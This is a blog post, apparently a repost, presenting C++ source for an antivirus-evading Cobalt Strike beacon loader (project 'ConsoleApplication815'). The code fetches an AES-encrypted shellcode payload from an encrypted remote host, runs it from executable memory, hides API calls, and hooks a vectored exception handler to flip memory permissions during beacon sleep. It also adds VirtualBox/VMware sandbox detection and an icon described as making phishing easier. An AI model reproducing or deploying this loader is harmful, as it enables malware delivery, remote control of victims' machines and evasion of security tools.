	printf("Beacon_set_Memory_attributes启动\n");
	while (true)  
	{
		WaitForSingleObject(hEvent, INFINITE);   //INFINITE表示等待时间无限长,直到收到信号为止
		printf("设置Beacon内存属性不可执行\n");
		VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);   //内存属性
		ResetEvent(hEvent);     //重置事件对象
	}
	return 0;
}

int main()
{
	//创建事件用来同步线程
	hEvent = CreateEvent(NULL, TRUE, false, NULL);   

	AddVectoredExceptionHandler(1, &FirstVectExcepHandler);   //表示注册一个优先级为 1 的向量化异常处理程序,并将其指向名为 FirstVectExcepHandler 的函数。当发生相应的异常时,被注册的处理程序 FirstVectExcepHandler 将会被调用。
	Hook();
	HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);   //创建线程
	CloseHandle(hThread1);   //关闭句柄



	unsigned char* BinData = NULL;
	size_t payload_len = 500000;

	string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
	string dehost = DecryptionAES(enhost);

	int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
	LPWSTR hostLPCWSTR = new WCHAR[hostLen];
	MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

	WORD port = 8000;
	string enpath = "EkYwlGs7z8OzXAEs7rszZA==";   //对应的文件
	string depath = DecryptionAES(enpath);

	int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
	LPWSTR pathLPCWSTR = new WCHAR[pathLen];
	MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);

	HINTERNET session;
	HINTERNET conn;
	HINTERNET reqfile;
	DWORD nread;

	//shellcode_addr = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  	//使用默认设置创建会话
	char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
	VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress((HMODULE)getKernel32Address(), xyVAc);
	shellcode_addr = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

	//连接到目标主机
	//conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
	char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };
	InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyItC);
	conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

	//创建请求
	//reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
	char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };
	HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHOR);
	reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

	//发送请求并读取响应
	//HttpSendRequest(reqfile, NULL, 0, 0, 0);
	char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };
	HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHSR);
	pHSR(reqfile, NULL, 0, 0, 0);

	//InternetReadFile(reqfile, shellcode_addr, payload_len, &nread);
	char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };
	InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIRF);
	pIRF(reqfile, shellcode_addr, payload_len, &nread);

	std::string AESEncodedContent(reinterpret_cast<const char*>(shellcode_addr), nread);
	std::string base64DecodedContent;

	string AESDecodedContent = DecryptionAES(AESEncodedContent);
	base64DecodedContent = ko::Base64::decode(AESDecodedContent);

	//char* szFilePath = "F:\\Tools\\beacon811.bin";    
	//BinData = ReadBinaryFile(szFilePath, &size);    //ReadBinaryFile函数能直接读取二进制文件

	memcpy(shellcode_addr, base64DecodedContent.data(), base64DecodedContent.size());    //将内存复制进去
	VirtualProtect(shellcode_addr, payload_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);   //修改内存属性
	(*(int(*)()) shellcode_addr)();

	UnHook();


	return 0;
}


//整体思路:Beacon进入睡眠就取消它内存的可执行属性,等Beacon线程醒来时触发异常交由VEH异常处理函数恢复内存的可执行属性,然后Beacon执行完成后又进入睡眠一直重复上述过程

ConsoleApplication815项目(直接加载+VEH Hook Load),免杀,网络安全,c++
其他代码在ConsoleApplication811中已经写出,需要过去拿即可

接下来为了钓鱼方便,加个ico图标(直接visual studio资源加入就可以),然后加入一些反虚拟检测

if (CheckProcess() == false || checkReg() == true || CheckMemory() == false)
{
	exit(-1);
}
//虚拟机检测
int check(char* name) {
	const char* list[2] = { "VBoxService.exe","VBoxTray.exe" };
	for (int i = 0; i < 2; ++i) {
		if (strcmp(name, list[i]) == 0)
			return -1;
	}
	return 0;
}

bool CheckMemory()
{
	//定义了一个名为 mst 的 _MEMORYSTATUSEX 结构体变量,用于存储内存状态信息
	_MEMORYSTATUSEX mst;
	DWORDLONG d_size = 4294496257;
	//结构体大小
	mst.dwLength = sizeof(mst);
	//GlobalMemoryStatusEx获取当前系统的内存状态信息。
	GlobalMemoryStatusEx(&mst);
	//如果内存状态信息中的物理内存总量 mst.ullTotalPhys 小于变量 d_size,则表示系统的物理内存不足
	if (mst.ullTotalPhys < d_size)
		return false; //函数返回 false,表示内存不满足要求
	else
		return true;  //返回 true,表示内存满足要求
}

bool checkReg() {
	//首先,定义了一个 HKEY 类型的变量 hkey,用于存储打开的注册表键
	HKEY hkey;
	//调用 RegOpenKey 函数,传入 HKEY_CLASSES_ROOT(根键),以及字符串 L"\\Applications\\VMwareHostOpen.exe",来尝试打开注册表中的指定键
	if (RegOpenKey(HKEY_CLASSES_ROOT, L"\\Applications\\VMwareHostOpen.exe", &hkey) == ERROR_SUCCESS)
	{
		//在键成功打开的情况下,函数返回 true,表示注册表中的键存在
		return true;
	}
	//在键成功打开的情况下,函数返回 true,表示注册表中的键存在
	else
	{
		//在键打开失败的情况下,函数返回 false,表示注册表中的键不存在
		return false;
	}
}

bool CheckProcess()
{
	PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(pe32);
	//CreateToolhelp32Snapshot可以通过获取进程信息为指定的进程
	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	//要 Process32First 返回成功(非零),就会继续迭代处理每个进程
	BOOL bResult = Process32First(hProcessSnap, &pe32);
	while (bResult) {
		char sz_Name[MAX_PATH] = { 0 };
		WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, sz_Name, sizeof(sz_Name), NULL, NULL); //从宽字符转换为多字节字符
		if (check(sz_Name) == -1) //查进程名是否匹配特定字符串。如果匹配成功(返回值为 -1),则表示检测到了特定进程,函数返回 false
			return false;
		bResult = Process32Next(hProcessSnap, &pe32); //获取下一个进程的信息
	}
	return true;
}

ConsoleApplication815项目(直接加载+VEH Hook Load),免杀,网络安全,c++
ConsoleApplication815项目(直接加载+VEH Hook Load),免杀,网络安全,c++
可以看到物理机成功上线,但是虚拟机点击上线不了,成功反沙箱

参考文章:
https://xz.aliyun.com/t/9399
https://github.com/wangfly-me/SysHttpHookSleep文章来源地址https://www.toymoban.com/news/detail-679863.html

到了这里,关于ConsoleApplication815项目(直接加载+VEH Hook Load)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【实战】 六、用户体验优化 - 加载中和错误状态处理(上) —— React17+React Hook+TS4 最佳实践,仿 Jira 企业级项目(八)

    学习内容来源:React + React Hook + TS 最佳实践-慕课网 相对原教程,我在学习开始时(2023.03)采用的是当前最新版本: 项 版本 react react-dom ^18.2.0 react-router react-router-dom ^6.11.2 antd ^4.24.8 @commitlint/cli @commitlint/config-conventional ^17.4.4 eslint-config-prettier ^8.6.0 husky ^8.0.3 lint-staged ^13.1.2 p

    2024年02月12日
    浏览(35)
  • 【实战】 六、用户体验优化 - 加载中和错误状态处理(下) —— React17+React Hook+TS4 最佳实践,仿 Jira 企业级项目(十)

    学习内容来源:React + React Hook + TS 最佳实践-慕课网 相对原教程,我在学习开始时(2023.03)采用的是当前最新版本: 项 版本 react react-dom ^18.2.0 react-router react-router-dom ^6.11.2 antd ^4.24.8 @commitlint/cli @commitlint/config-conventional ^17.4.4 eslint-config-prettier ^8.6.0 husky ^8.0.3 lint-staged ^13.1.2 p

    2024年02月15日
    浏览(36)
  • python免杀技术---shellcode的加载与执行

    0x01 生成shellcode 首先通过下列命令生成一个shellcode,使用msfvenom -p选项来指定paylaod,这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。 0x02 加载与执行shellcode的程序 程序为: 0x03 程序解释 导入模块,并且程

    2023年04月25日
    浏览(53)
  • ShellCode_Loader - Msf&CobaltStrike免杀ShellCode加载器&加密工具

    ShellCode_Loader - MsfCobaltStrike免杀ShellCode加载器、Shellcode_encryption - 免杀Shellcode加密生成工具,目前测试免杀360火绒电脑管家Windows Defender(其他杀软未测试)。 该项目仅供网络安全研究使用,禁止使用该项目进行违法操作,否则自行承担后果,请各位遵守《中华人民共和国网络

    2024年02月04日
    浏览(54)
  • Hive(18):DML之Load加载数据

    1 背景 回想一下,当在Hive中创建好表之后,默认就会在HDFS上创建一个与之对应的文件夹,默认路径是由参数hive.metastore.warehouse.dir控制,默认值是/user/hive/warehouse。 要想让hive的表和结构化的数据文件产生映射,就需要把文件移到到表对应的文件夹下面,当然,可以在建表的时

    2024年02月13日
    浏览(70)
  • odoo启动-加载模块(load_modules)

    odoo每次启动的时候都会加载模块,加载模块的过程就是调用load_modules 函数 在函数位于 odoomodulesloading.py 代码中注释也写的很清楚,共分了9个步骤,其实是8个步骤。 这个函数的作用是为一个新创建的注册表对象加载模块,这是Registry.new()的一部分,不应该用在其他地方。

    2024年02月06日
    浏览(34)
  • torch.hub.load 加载本地模型(已解决)

    运行网上的项目,有时会卡住或者超时,原因是 torch.hub.load 默认会去网上找模型,有时会因为网络问题而报错 不让 torch.hub.load 联网下载模型,改为 torch.hub.load 加载本地模型。本地模型默认的下载路径是:/root/.cache/torch/hub……

    2024年02月11日
    浏览(36)
  • .net Assembly.Load重复加载程序集造成执行异常

    最近ET做热更重载dll的时候,返回登陆会重新检测新的dll,首次登录之前已经Assembly.Load()过一次dll,第二次返回登陆再次load dll到内存中,Invoke执行方法的时候,异常了,有些方法执行了,有些未执行,于是查资料,看到些老资料说Assembly.Load重复加载同名dll不会有问题,而却现

    2024年02月07日
    浏览(61)
  • docker基于save保存镜像与基于load加载镜像

    #以busybox镜像创建一个容器,在容器中创建一个hello.txt的文件。 #拉取busybox 最新镜像,实际生产中,docker pull 这一步可以省略,docker run的时候会自己去拉取。 docker pull busybox docker run --name container1 busybox touch hello.txt #将对容器container1做出的修改提交为一个新镜像,镜像名为b

    2024年02月04日
    浏览(31)
  • Selenium page_load_strategy设置页面加载策略

    pageLoadStrategy  支持以下值: normal 这种状态导致Selenium等待整个页面加载(下载并解析了html内容和子资源)。 eager 这种状态导致Selenium等待DOMContentLoaded事件(仅下载和解析html内容)。 none 此策略使Selenium在完全接收初始页面内容(下载html内容)后立即返回。即正常情况下,

    2024年02月13日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包